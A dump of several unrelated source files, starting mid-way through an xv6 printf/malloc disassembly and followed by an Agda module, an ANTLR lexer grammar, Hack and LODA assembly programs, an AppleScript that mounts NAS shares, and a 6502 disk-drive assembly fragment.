ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
702: 89 45 d0 mov %eax,-0x30(%ebp)
705: 0f b6 1e movzbl (%esi),%ebx
708: 83 c6 01 add $0x1,%esi
70b: 84 db test %bl,%bl
70d: 0f 84 b0 00 00 00 je 7c3 <printf+0xd3>
713: 31 d2 xor %edx,%edx
715: eb 39 jmp 750 <printf+0x60>
717: 89 f6 mov %esi,%esi
719: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
c = fmt[i] & 0xff;
if(state == 0){
if(c == '%'){
720: 83 f8 25 cmp $0x25,%eax
723: 89 55 d4 mov %edx,-0x2c(%ebp)
state = '%';
726: ba 25 00 00 00 mov $0x25,%edx
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
c = fmt[i] & 0xff;
if(state == 0){
if(c == '%'){
72b: 74 18 je 745 <printf+0x55>
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
72d: 8d 45 e2 lea -0x1e(%ebp),%eax
730: 83 ec 04 sub $0x4,%esp
733: 88 5d e2 mov %bl,-0x1e(%ebp)
736: 6a 01 push $0x1
738: 50 push %eax
739: 57 push %edi
73a: e8 63 fe ff ff call 5a2 <write>
73f: 8b 55 d4 mov -0x2c(%ebp),%edx
742: 83 c4 10 add $0x10,%esp
745: 83 c6 01 add $0x1,%esi
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
748: 0f b6 5e ff movzbl -0x1(%esi),%ebx
74c: 84 db test %bl,%bl
74e: 74 73 je 7c3 <printf+0xd3>
c = fmt[i] & 0xff;
if(state == 0){
750: 85 d2 test %edx,%edx
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
c = fmt[i] & 0xff;
752: 0f be cb movsbl %bl,%ecx
755: 0f b6 c3 movzbl %bl,%eax
if(state == 0){
758: 74 c6 je 720 <printf+0x30>
if(c == '%'){
state = '%';
} else {
putc(fd, c);
}
} else if(state == '%'){
75a: 83 fa 25 cmp $0x25,%edx
75d: 75 e6 jne 745 <printf+0x55>
if(c == 'd'){
75f: 83 f8 64 cmp $0x64,%eax
762: 0f 84 f8 00 00 00 je 860 <printf+0x170>
printint(fd, *ap, 10, 1);
ap++;
} else if(c == 'x' || c == 'p'){
768: 81 e1 f7 00 00 00 and $0xf7,%ecx
76e: 83 f9 70 cmp $0x70,%ecx
771: 74 5d je 7d0 <printf+0xe0>
printint(fd, *ap, 16, 0);
ap++;
} else if(c == 's'){
773: 83 f8 73 cmp $0x73,%eax
776: 0f 84 84 00 00 00 je 800 <printf+0x110>
s = "(null)";
while(*s != 0){
putc(fd, *s);
s++;
}
} else if(c == 'c'){
77c: 83 f8 63 cmp $0x63,%eax
77f: 0f 84 ea 00 00 00 je 86f <printf+0x17f>
putc(fd, *ap);
ap++;
} else if(c == '%'){
785: 83 f8 25 cmp $0x25,%eax
788: 0f 84 c2 00 00 00 je 850 <printf+0x160>
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
78e: 8d 45 e7 lea -0x19(%ebp),%eax
791: 83 ec 04 sub $0x4,%esp
794: c6 45 e7 25 movb $0x25,-0x19(%ebp)
798: 6a 01 push $0x1
79a: 50 push %eax
79b: 57 push %edi
79c: e8 01 fe ff ff call 5a2 <write>
7a1: 83 c4 0c add $0xc,%esp
7a4: 8d 45 e6 lea -0x1a(%ebp),%eax
7a7: 88 5d e6 mov %bl,-0x1a(%ebp)
7aa: 6a 01 push $0x1
7ac: 50 push %eax
7ad: 57 push %edi
7ae: 83 c6 01 add $0x1,%esi
7b1: e8 ec fd ff ff call 5a2 <write>
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
7b6: 0f b6 5e ff movzbl -0x1(%esi),%ebx
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
7ba: 83 c4 10 add $0x10,%esp
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
putc(fd, c);
}
state = 0;
7bd: 31 d2 xor %edx,%edx
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
7bf: 84 db test %bl,%bl
7c1: 75 8d jne 750 <printf+0x60>
putc(fd, c);
}
state = 0;
}
}
}
7c3: 8d 65 f4 lea -0xc(%ebp),%esp
7c6: 5b pop %ebx
7c7: 5e pop %esi
7c8: 5f pop %edi
7c9: 5d pop %ebp
7ca: c3 ret
7cb: 90 nop
7cc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
} else if(state == '%'){
if(c == 'd'){
printint(fd, *ap, 10, 1);
ap++;
} else if(c == 'x' || c == 'p'){
printint(fd, *ap, 16, 0);
7d0: 83 ec 0c sub $0xc,%esp
7d3: b9 10 00 00 00 mov $0x10,%ecx
7d8: 6a 00 push $0x0
7da: 8b 5d d0 mov -0x30(%ebp),%ebx
7dd: 89 f8 mov %edi,%eax
7df: 8b 13 mov (%ebx),%edx
7e1: e8 6a fe ff ff call 650 <printint>
ap++;
7e6: 89 d8 mov %ebx,%eax
7e8: 83 c4 10 add $0x10,%esp
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
putc(fd, c);
}
state = 0;
7eb: 31 d2 xor %edx,%edx
if(c == 'd'){
printint(fd, *ap, 10, 1);
ap++;
} else if(c == 'x' || c == 'p'){
printint(fd, *ap, 16, 0);
ap++;
7ed: 83 c0 04 add $0x4,%eax
7f0: 89 45 d0 mov %eax,-0x30(%ebp)
7f3: e9 4d ff ff ff jmp 745 <printf+0x55>
7f8: 90 nop
7f9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
} else if(c == 's'){
s = (char*)*ap;
800: 8b 45 d0 mov -0x30(%ebp),%eax
803: 8b 18 mov (%eax),%ebx
ap++;
805: 83 c0 04 add $0x4,%eax
808: 89 45 d0 mov %eax,-0x30(%ebp)
if(s == 0)
80b: 85 db test %ebx,%ebx
80d: 74 7c je 88b <printf+0x19b>
s = "(null)";
while(*s != 0){
80f: 0f b6 03 movzbl (%ebx),%eax
812: 84 c0 test %al,%al
814: 74 29 je 83f <printf+0x14f>
816: 8d 76 00 lea 0x0(%esi),%esi
819: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
820: 88 45 e3 mov %al,-0x1d(%ebp)
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
823: 8d 45 e3 lea -0x1d(%ebp),%eax
826: 83 ec 04 sub $0x4,%esp
829: 6a 01 push $0x1
ap++;
if(s == 0)
s = "(null)";
while(*s != 0){
putc(fd, *s);
s++;
82b: 83 c3 01 add $0x1,%ebx
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
82e: 50 push %eax
82f: 57 push %edi
830: e8 6d fd ff ff call 5a2 <write>
} else if(c == 's'){
s = (char*)*ap;
ap++;
if(s == 0)
s = "(null)";
while(*s != 0){
835: 0f b6 03 movzbl (%ebx),%eax
838: 83 c4 10 add $0x10,%esp
83b: 84 c0 test %al,%al
83d: 75 e1 jne 820 <printf+0x130>
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
putc(fd, c);
}
state = 0;
83f: 31 d2 xor %edx,%edx
841: e9 ff fe ff ff jmp 745 <printf+0x55>
846: 8d 76 00 lea 0x0(%esi),%esi
849: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
850: 83 ec 04 sub $0x4,%esp
853: 88 5d e5 mov %bl,-0x1b(%ebp)
856: 8d 45 e5 lea -0x1b(%ebp),%eax
859: 6a 01 push $0x1
85b: e9 4c ff ff ff jmp 7ac <printf+0xbc>
} else {
putc(fd, c);
}
} else if(state == '%'){
if(c == 'd'){
printint(fd, *ap, 10, 1);
860: 83 ec 0c sub $0xc,%esp
863: b9 0a 00 00 00 mov $0xa,%ecx
868: 6a 01 push $0x1
86a: e9 6b ff ff ff jmp 7da <printf+0xea>
while(*s != 0){
putc(fd, *s);
s++;
}
} else if(c == 'c'){
putc(fd, *ap);
86f: 8b 5d d0 mov -0x30(%ebp),%ebx
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
872: 83 ec 04 sub $0x4,%esp
while(*s != 0){
putc(fd, *s);
s++;
}
} else if(c == 'c'){
putc(fd, *ap);
875: 8b 03 mov (%ebx),%eax
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
877: 6a 01 push $0x1
while(*s != 0){
putc(fd, *s);
s++;
}
} else if(c == 'c'){
putc(fd, *ap);
879: 88 45 e4 mov %al,-0x1c(%ebp)
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
87c: 8d 45 e4 lea -0x1c(%ebp),%eax
87f: 50 push %eax
880: 57 push %edi
881: e8 1c fd ff ff call 5a2 <write>
886: e9 5b ff ff ff jmp 7e6 <printf+0xf6>
} else if(c == 's'){
s = (char*)*ap;
ap++;
if(s == 0)
s = "(null)";
while(*s != 0){
88b: b8 28 00 00 00 mov $0x28,%eax
ap++;
} else if(c == 's'){
s = (char*)*ap;
ap++;
if(s == 0)
s = "(null)";
890: bb 5a 0a 00 00 mov $0xa5a,%ebx
895: eb 89 jmp 820 <printf+0x130>
897: 66 90 xchg %ax,%ax
899: 66 90 xchg %ax,%ax
89b: 66 90 xchg %ax,%ax
89d: 66 90 xchg %ax,%ax
89f: 90 nop
000008a0 <free>:
static Header base;
static Header *freep;
void
free(void *ap)
{
8a0: 55 push %ebp
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
8a1: a1 80 0d 00 00 mov 0xd80,%eax
static Header base;
static Header *freep;
void
free(void *ap)
{
8a6: 89 e5 mov %esp,%ebp
8a8: 57 push %edi
8a9: 56 push %esi
8aa: 53 push %ebx
8ab: 8b 5d 08 mov 0x8(%ebp),%ebx
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
8ae: 8b 10 mov (%eax),%edx
void
free(void *ap)
{
Header *bp, *p;
bp = (Header*)ap - 1;
8b0: 8d 4b f8 lea -0x8(%ebx),%ecx
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
8b3: 39 c8 cmp %ecx,%eax
8b5: 73 19 jae 8d0 <free+0x30>
8b7: 89 f6 mov %esi,%esi
8b9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
8c0: 39 d1 cmp %edx,%ecx
8c2: 72 1c jb 8e0 <free+0x40>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
8c4: 39 d0 cmp %edx,%eax
8c6: 73 18 jae 8e0 <free+0x40>
static Header base;
static Header *freep;
void
free(void *ap)
{
8c8: 89 d0 mov %edx,%eax
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
8ca: 39 c8 cmp %ecx,%eax
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
8cc: 8b 10 mov (%eax),%edx
free(void *ap)
{
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
8ce: 72 f0 jb 8c0 <free+0x20>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
8d0: 39 d0 cmp %edx,%eax
8d2: 72 f4 jb 8c8 <free+0x28>
8d4: 39 d1 cmp %edx,%ecx
8d6: 73 f0 jae 8c8 <free+0x28>
8d8: 90 nop
8d9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
break;
if(bp + bp->s.size == p->s.ptr){
8e0: 8b 73 fc mov -0x4(%ebx),%esi
8e3: 8d 3c f1 lea (%ecx,%esi,8),%edi
8e6: 39 fa cmp %edi,%edx
8e8: 74 19 je 903 <free+0x63>
bp->s.size += p->s.ptr->s.size;
bp->s.ptr = p->s.ptr->s.ptr;
} else
bp->s.ptr = p->s.ptr;
8ea: 89 53 f8 mov %edx,-0x8(%ebx)
if(p + p->s.size == bp){
8ed: 8b 50 04 mov 0x4(%eax),%edx
8f0: 8d 34 d0 lea (%eax,%edx,8),%esi
8f3: 39 f1 cmp %esi,%ecx
8f5: 74 23 je 91a <free+0x7a>
p->s.size += bp->s.size;
p->s.ptr = bp->s.ptr;
} else
p->s.ptr = bp;
8f7: 89 08 mov %ecx,(%eax)
freep = p;
8f9: a3 80 0d 00 00 mov %eax,0xd80
}
8fe: 5b pop %ebx
8ff: 5e pop %esi
900: 5f pop %edi
901: 5d pop %ebp
902: c3 ret
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
break;
if(bp + bp->s.size == p->s.ptr){
bp->s.size += p->s.ptr->s.size;
903: 03 72 04 add 0x4(%edx),%esi
906: 89 73 fc mov %esi,-0x4(%ebx)
bp->s.ptr = p->s.ptr->s.ptr;
909: 8b 10 mov (%eax),%edx
90b: 8b 12 mov (%edx),%edx
90d: 89 53 f8 mov %edx,-0x8(%ebx)
} else
bp->s.ptr = p->s.ptr;
if(p + p->s.size == bp){
910: 8b 50 04 mov 0x4(%eax),%edx
913: 8d 34 d0 lea (%eax,%edx,8),%esi
916: 39 f1 cmp %esi,%ecx
918: 75 dd jne 8f7 <free+0x57>
p->s.size += bp->s.size;
91a: 03 53 fc add -0x4(%ebx),%edx
p->s.ptr = bp->s.ptr;
} else
p->s.ptr = bp;
freep = p;
91d: a3 80 0d 00 00 mov %eax,0xd80
bp->s.size += p->s.ptr->s.size;
bp->s.ptr = p->s.ptr->s.ptr;
} else
bp->s.ptr = p->s.ptr;
if(p + p->s.size == bp){
p->s.size += bp->s.size;
922: 89 50 04 mov %edx,0x4(%eax)
p->s.ptr = bp->s.ptr;
925: 8b 53 f8 mov -0x8(%ebx),%edx
928: 89 10 mov %edx,(%eax)
} else
p->s.ptr = bp;
freep = p;
}
92a: 5b pop %ebx
92b: 5e pop %esi
92c: 5f pop %edi
92d: 5d pop %ebp
92e: c3 ret
92f: 90 nop
00000930 <malloc>:
return freep;
}
void*
malloc(uint nbytes)
{
930: 55 push %ebp
931: 89 e5 mov %esp,%ebp
933: 57 push %edi
934: 56 push %esi
935: 53 push %ebx
936: 83 ec 0c sub $0xc,%esp
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
939: 8b 45 08 mov 0x8(%ebp),%eax
if((prevp = freep) == 0){
93c: 8b 15 80 0d 00 00 mov 0xd80,%edx
malloc(uint nbytes)
{
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
942: 8d 78 07 lea 0x7(%eax),%edi
945: c1 ef 03 shr $0x3,%edi
948: 83 c7 01 add $0x1,%edi
if((prevp = freep) == 0){
94b: 85 d2 test %edx,%edx
94d: 0f 84 93 00 00 00 je 9e6 <malloc+0xb6>
953: 8b 02 mov (%edx),%eax
955: 8b 48 04 mov 0x4(%eax),%ecx
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
if(p->s.size >= nunits){
958: 39 cf cmp %ecx,%edi
95a: 76 64 jbe 9c0 <malloc+0x90>
95c: 81 ff 00 10 00 00 cmp $0x1000,%edi
962: bb 00 10 00 00 mov $0x1000,%ebx
967: 0f 43 df cmovae %edi,%ebx
char *p;
Header *hp;
if(nu < 4096)
nu = 4096;
p = sbrk(nu * sizeof(Header));
96a: 8d 34 dd 00 00 00 00 lea 0x0(,%ebx,8),%esi
971: eb 0e jmp 981 <malloc+0x51>
973: 90 nop
974: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
if((prevp = freep) == 0){
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
978: 8b 02 mov (%edx),%eax
if(p->s.size >= nunits){
97a: 8b 48 04 mov 0x4(%eax),%ecx
97d: 39 cf cmp %ecx,%edi
97f: 76 3f jbe 9c0 <malloc+0x90>
p->s.size = nunits;
}
freep = prevp;
return (void*)(p + 1);
}
if(p == freep)
981: 39 05 80 0d 00 00 cmp %eax,0xd80
987: 89 c2 mov %eax,%edx
989: 75 ed jne 978 <malloc+0x48>
char *p;
Header *hp;
if(nu < 4096)
nu = 4096;
p = sbrk(nu * sizeof(Header));
98b: 83 ec 0c sub $0xc,%esp
98e: 56 push %esi
98f: e8 8e fc ff ff call 622 <sbrk>
if(p == (char*)-1)
994: 83 c4 10 add $0x10,%esp
997: 83 f8 ff cmp $0xffffffff,%eax
99a: 74 1c je 9b8 <malloc+0x88>
return 0;
hp = (Header*)p;
hp->s.size = nu;
99c: 89 58 04 mov %ebx,0x4(%eax)
free((void*)(hp + 1));
99f: 83 ec 0c sub $0xc,%esp
9a2: 83 c0 08 add $0x8,%eax
9a5: 50 push %eax
9a6: e8 f5 fe ff ff call 8a0 <free>
return freep;
9ab: 8b 15 80 0d 00 00 mov 0xd80,%edx
}
freep = prevp;
return (void*)(p + 1);
}
if(p == freep)
if((p = morecore(nunits)) == 0)
9b1: 83 c4 10 add $0x10,%esp
9b4: 85 d2 test %edx,%edx
9b6: 75 c0 jne 978 <malloc+0x48>
return 0;
9b8: 31 c0 xor %eax,%eax
9ba: eb 1c jmp 9d8 <malloc+0xa8>
9bc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
if(p->s.size >= nunits){
if(p->s.size == nunits)
9c0: 39 cf cmp %ecx,%edi
9c2: 74 1c je 9e0 <malloc+0xb0>
prevp->s.ptr = p->s.ptr;
else {
p->s.size -= nunits;
9c4: 29 f9 sub %edi,%ecx
9c6: 89 48 04 mov %ecx,0x4(%eax)
p += p->s.size;
9c9: 8d 04 c8 lea (%eax,%ecx,8),%eax
p->s.size = nunits;
9cc: 89 78 04 mov %edi,0x4(%eax)
}
freep = prevp;
9cf: 89 15 80 0d 00 00 mov %edx,0xd80
return (void*)(p + 1);
9d5: 83 c0 08 add $0x8,%eax
}
if(p == freep)
if((p = morecore(nunits)) == 0)
return 0;
}
}
9d8: 8d 65 f4 lea -0xc(%ebp),%esp
9db: 5b pop %ebx
9dc: 5e pop %esi
9dd: 5f pop %edi
9de: 5d pop %ebp
9df: c3 ret
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
if(p->s.size >= nunits){
if(p->s.size == nunits)
prevp->s.ptr = p->s.ptr;
9e0: 8b 08 mov (%eax),%ecx
9e2: 89 0a mov %ecx,(%edx)
9e4: eb e9 jmp 9cf <malloc+0x9f>
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
if((prevp = freep) == 0){
base.s.ptr = freep = prevp = &base;
9e6: c7 05 80 0d 00 00 84 movl $0xd84,0xd80
9ed: 0d 00 00
9f0: c7 05 84 0d 00 00 84 movl $0xd84,0xd84
9f7: 0d 00 00
base.s.size = 0;
9fa: b8 84 0d 00 00 mov $0xd84,%eax
9ff: c7 05 88 0d 00 00 00 movl $0x0,0xd88
a06: 00 00 00
a09: e9 4e ff ff ff jmp 95c <malloc+0x2c>
|
agda-stdlib-0.9/src/Foreign/Haskell.agda
|
qwe2/try-agda
| 1 |
7657
|
------------------------------------------------------------------------
-- The Agda standard library
--
-- Type(s) used (only) when calling out to Haskell via the FFI
------------------------------------------------------------------------
module Foreign.Haskell where
-- A unit type.
data Unit : Set where
unit : Unit
{-# COMPILED_DATA Unit () () #-}
|
src/main/antlr4/org/entityc/compiler/transform/template/TemplateLexer.g4
|
entityc/entity-compiler
| 1 |
3986
|
/*
* Copyright (c) 2019-2022 The EntityC Project. All rights reserved.
* Use of this file is governed by the BSD 3-clause license that
* can be found in the LICENSE.md file in the project root.
*/
lexer grammar TemplateLexer;
COMMENT : '$[*' .*? '*]' '\n'? ;
BlockTagStart
: ( '$['
) -> pushMode(IN_BLOCK_TAG)
;
BlockEndTagStart
: ( '$[/'
) -> pushMode(IN_BLOCK_TAG)
;
VarTagStart
: ( '${'
) -> pushMode(IN_VAR_TAG)
;
Other
: .
;
mode IN_BLOCK_TAG;
True : 'true' ;
False : 'false' ;
COMMA : ',' ;
QuestionMark : '?' ;
Colon : ':' ;
HashConstant : '#' IDENT ;
LogicalNot : '!' ;
LogicalAnd : '&&' ;
LogicalOr : '||' ;
Plus : '+' ;
Minus : '-' ;
Multiply : '*' ;
Divide : '/' ;
Modulo : '%' ;
GreaterThan : '>' ;
LessThan : '<' ;
GreaterThanEqual : '>=' ;
LessThanEqual : '<=' ;
IsEqual : '==' ;
NotEqual : '!=' ;
OpenParen : '(' ;
CloseParen : ')' ;
Pipe : '|' ;
Outputs : '->' ;
ArrayOpen : '@[' ;
ArrayClose : ']@' ;
Dollar : '$' ;
File : 'file' ;
IfDoesNotExist : 'ifdoesnotexist' ;
Language : 'language' ;
Version : 'version' ;
Install : 'install' ;
Copy : 'copy' ;
// Procedural
Import : 'import' ;
From : 'from' ;
Function : 'function' ;
Return : 'return' ;
Call : 'call' ;
Explicit : 'explicit' ; // option for call
Foreach : 'foreach' ;
ForeachRange : '...' ;
In : 'in' ;
As : 'as' ;
By : 'by' ;
Continue : 'continue' ;
Break : 'break' ;
Exit : 'exit' ;
If : 'if' ;
Switch : 'switch' ;
Case : 'case' ;
Default : 'default' ;
Elseif : 'elseif' ;
Else : 'else' ;
Capture : 'capture' ;
Let : 'let' ;
Do : 'do' ;
Load : 'load' ;
Log : 'log' ;
Extends : 'extends' ;
InstanceOf : 'instanceof' ;
Receive : 'receive' ;
Distinct : 'distinct' ;
Send : 'send' ;
Preserve : 'preserve' ;
Deprecates : 'deprecates' ;
Publisher : 'publisher' ;
Outlet : 'outlet' ;
Author : 'author' ;
To : 'to' ;
Description : 'D' ;
BOOLEAN_TYPE : 'boolean' ;
INT32_TYPE : 'int32' ;
INT64_TYPE : 'int64' ;
UUID_TYPE : 'uuid' ;
FLOAT_TYPE : 'float' ;
DOUBLE_TYPE : 'double' ;
STRING_TYPE : 'string' ;
DATE_TYPE : 'date' ;
ASSET_TYPE : 'asset' ;
DomainType : 'domain' ;
EntityType : 'entity' ;
AttributeType : 'attribute' ;
RelationshipType : 'relationship' ;
EnumType : 'enum' ;
InterfaceType : 'interface' ;
OperationType : 'operation' ;
TypedefType : 'typedef' ;
WS : [ \t\n\r]+ -> channel(HIDDEN) ;
SpaceOrTab : [ \t] ;
LineBreak : [\n\r] ;
INTEGER : [0-9]+ ;
LETTER : [a-zA-Z] ;
DIGIT : [0-9];
VERSION_NUM : (INTEGER '.' INTEGER '.' INTEGER) ;
FLOAT : (INTEGER '.' DIGIT*) ;
IDENT : (LETTER|'_') (LETTER|DIGIT|'_'|'#')* ;
STRING : '"' (ESC | ~["\\])* '"' ;
fragment ESC : '\\' ["\bfnrt] ;
DOT : '.' ;
EQUALS : '=' ;
CurlyClosed : '}' ;
BlockTagEnd
: (']' LineBreak?
| '-]') -> popMode ;
VarInBlockStart
: '{' -> pushMode(IN_VAR_TAG)
;
BADSTUFF
: . -> pushMode(DEAD)
;
mode IN_VAR_TAG;
VarTagEnd
: CurlyClosed -> popMode ;
VarLanguage : Language -> type(Language) ;
VarWhitespace : [ \t\n\r]+ -> channel(HIDDEN) ;
VarInteger : INTEGER -> type(INTEGER) ;
VarLetter : LETTER -> type(LETTER) ;
VarDigit : DIGIT -> type(DIGIT);
VarIdent : IDENT -> type(IDENT) ;
VarPipe : Pipe -> type(Pipe) ;
VarString : STRING -> type(STRING) ;
VarDot : DOT -> type(DOT) ;
VarCurlyClosed : CurlyClosed -> type(CurlyClosed) ;
VarTrue : True -> type(True) ;
VarFalse : False -> type(False) ;
VarQuestionMark : QuestionMark -> type(QuestionMark) ;
VarColon : Colon -> type(Colon) ;
VarHashConstant : HashConstant -> type(HashConstant) ;
VarLogicalNot : LogicalNot -> type(LogicalNot) ;
VarLogicalAnd : LogicalAnd -> type(LogicalAnd) ;
VarLogicalOr : LogicalOr -> type(LogicalOr) ;
VarPlus : Plus -> type(Plus) ;
VarMinus : Minus -> type(Minus) ;
VarMultiply : Multiply -> type(Multiply) ;
VarDivide : Divide -> type(Divide) ;
VarModulo : Modulo -> type(Modulo) ;
VarGreaterThan : GreaterThan -> type(GreaterThan) ;
VarLessThan : LessThan -> type(LessThan) ;
VarGreaterThanEqual : GreaterThanEqual -> type(GreaterThanEqual) ;
VarLessThanEqual : LessThanEqual -> type(LessThanEqual) ;
VarIsEqual : IsEqual -> type(IsEqual) ;
VarNotEqual : NotEqual -> type(NotEqual) ;
VarArrayOpen : ArrayOpen -> type(ArrayOpen) ;
VarArrayClose : ArrayClose -> type(ArrayClose) ;
VarDomainType : DomainType -> type(DomainType) ;
VarEntityType : EntityType -> type(EntityType) ;
VarAttributeType : AttributeType -> type(AttributeType) ;
VarRelationshipType : RelationshipType -> type(RelationshipType) ;
VarEnumType : EnumType -> type(EnumType) ;
VarInterfaceType : InterfaceType -> type(InterfaceType) ;
VarOperationType : OperationType -> type(OperationType) ;
VarTypedefType : TypedefType -> type(TypedefType) ;
VarOpenParen : OpenParen -> type(OpenParen) ;
VarCloseParen : CloseParen -> type(CloseParen) ;
VarDollar : Dollar -> type(Dollar) ;
VAR_BADSTUFF
: . -> pushMode(DEAD)
;
mode DEAD;
ERRCHAR
: . -> channel(HIDDEN)
;
|
07/asm/SimpleAdd.asm
|
Bozar/Nand2Tetris
| 3 |
178385
|
<filename>07/asm/SimpleAdd.asm
@256
D=A
@SP
M=D
@7
D=A
@SP
A=M
M=D
@SP
M=M+1
@8
D=A
@SP
A=M
M=D
@SP
M=M+1
@SP
M=M-1
@SP
A=M
D=M
@SP
M=M-1
@SP
A=M
D=D+M
@SP
A=M
M=D
@SP
M=M+1
(END_LOOP)
@END_LOOP
0;JMP
|
programs/oeis/276/A276916.asm
|
karttu/loda
| 1 |
172428
|
; A276916: Subsequence of centered square numbers obtained by adding four triangles from A276914 and a central element, a(n) = 4*A276914(n) + 1.
; 1,5,41,61,145,181,313,365,545,613,841,925,1201,1301,1625,1741,2113,2245,2665,2813,3281,3445,3961,4141,4705,4901,5513,5725,6385,6613,7321,7565,8321,8581,9385,9661,10513,10805,11705,12013,12961,13285,14281,14621,15665,16021,17113,17485,18625,19013,20201,20605,21841,22261,23545,23981,25313,25765,27145,27613,29041,29525,31001,31501,33025,33541,35113,35645,37265,37813,39481,40045,41761,42341,44105,44701,46513,47125,48985,49613,51521,52165,54121,54781,56785,57461,59513,60205,62305,63013,65161,65885,68081,68821,71065,71821,74113,74885,77225,78013,80401,81205,83641,84461,86945,87781,90313,91165,93745,94613,97241,98125,100801,101701,104425,105341,108113,109045,111865,112813,115681,116645,119561,120541,123505,124501,127513,128525,131585,132613,135721,136765,139921,140981,144185,145261,148513,149605,152905,154013,157361,158485,161881,163021,166465,167621,171113,172285,175825,177013,180601,181805,185441,186661,190345,191581,195313,196565,200345,201613,205441,206725,210601,211901,215825,217141,221113,222445,226465,227813,231881,233245,237361,238741,242905,244301,248513,249925,254185,255613,259921,261365,265721,267181,271585,273061,277513,279005,283505,285013,289561,291085,295681,297221,301865,303421,308113,309685,314425,316013,320801,322405,327241,328861,333745,335381,340313,341965,346945,348613,353641,355325,360401,362101,367225,368941,374113,375845,381065,382813,388081,389845,395161,396941,402305,404101,409513,411325,416785,418613,424121,425965,431521,433381,438985,440861,446513,448405,454105,456013,461761,463685,469481,471421,477265,479221,485113,487085,493025,495013
mov $1,$0
div $1,2
mul $1,2
mul $1,$0
mul $1,2
add $1,$0
mul $1,4
add $1,1
|
hammerspoon/mount.applescript
|
marcusvb/dotfiles
| 4 |
2327
|
<reponame>marcusvb/dotfiles
tell application "Finder"
try
mount volume "smb://freenas/fileshare"
mount volume "smb://freenas/media"
end try
end tell
|
src/static/antlr4/grammars/LexicalGrammar.g4
|
jlenoble/ecmascript-parser
| 0 |
3045
|
/* Source: ECMAScript® 2018 Language Specification - Annex A-1 */
// A.1 Lexical Grammar
grammar LexicalGrammar;
import
Template,
RegularExpressionLiteral,
Punctuator,
ReservedWord,
StringLiteralA1,
UnicodeEscapeSequence,
NumericLiteralA1,
IdentifierName,
CommentA1,
WhiteSpace,
LineTerminator;
// TemplateLiteral[Yield, Await]:
// NoSubstitutionTemplate
// TemplateHead Expression[+In, ?Yield, ?Await] TemplateSpans[?Yield, ?Await]
templateLiteral
: (TemplateHead expression templateSpans|NoSubstitutionTemplate)
;
// TemplateSpans[Yield, Await]:
// TemplateTail
// TemplateMiddleList[?Yield, ?Await] TemplateTail
templateSpans
: templateMiddleList? TemplateTail
;
// TemplateMiddleList[Yield, Await]:
// TemplateMiddle Expression[+In, ?Yield, ?Await]
// TemplateMiddleList[?Yield, ?Await] TemplateMiddle Expression[+In, ?Yield, ?Await]
templateMiddleList
: TemplateMiddle expressionList+
;
identifierName
: (IdentifierName|reservedWord|miscIdentifier)
;
|
1581/64tass/dskint.asm
|
silverdr/assembly
| 23 |
89874
|
pezro ldx #0 ; err #1 for zero page
.byte skip2 ; skip next two bytes
perr ldx temp ; get error #
txs ; use stack as storage reg.
pe20 tsx ; restore error #
